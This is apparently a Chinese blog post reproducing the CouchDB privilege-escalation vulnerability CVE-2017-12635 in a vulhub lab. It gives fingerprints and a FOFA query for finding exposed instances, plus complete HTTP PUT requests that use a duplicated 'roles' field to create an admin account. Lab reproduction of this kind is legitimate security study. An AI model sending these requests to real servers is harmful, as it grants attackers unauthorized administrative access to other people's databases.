【vulhub】Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

特征

1、端口可能是5984,直接访问端口是couchdb
在这里插入图片描述
在这里插入图片描述

2、访问/_utils目录,网站title是一个红色沙发,title名是Project Fauxton还可以看到couchdb图标
在这里插入图片描述

那么我们根据这些特征,用fofa搜索一下

title="Project Fauxton"

在这里插入图片描述
在这里插入图片描述

利用条件

影响版本:小于 1.7.0 以及 小于 2.1.1

搭建

搭建过程都一样,没有什么坑,楼主这里就不写了。

复现

本次复现版本是2.1.1
在这里插入图片描述
访问该地址
http://192.168.100.34:5984/_utils 跳转到登录页面,不过我们莫得账号密码。在这里插入图片描述
发送如下数据包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.100.34:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色:
在这里插入图片描述
发送一次包含两个roles字段的数据包,即可绕过限制:

注意:1、roles字段必须为,3、已创建的用户,你改密码的话,说不行的。

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.100.34:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

在这里插入图片描述

注意,2、楼主发现:如果你想创建多个用户的话,url中的用户名必须和数据包中的用户名一样!

在这里插入图片描述

注意,3、已创建的用户,你改密码的话,是不行的。

在这里插入图片描述

激动人心的时候到了!既然我们有了新的账号,那么就登进去试试!

输入我们之前创建的账号密码:vulhub:vulhub
http://192.168.100.34:5984/_utils登录成功!
同时即可看到user的数量多了1个
在这里插入图片描述

参考:

复现中的一些原理和排错
https://www.cnblogs.com/foe0/p/11375757.html
搭建过程
https://blog.csdn.net/Aaron_Miller/article/details/97114298
https://blog.csdn.net/JiangBuLiu/article/details/94027581
还有官方的参考。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值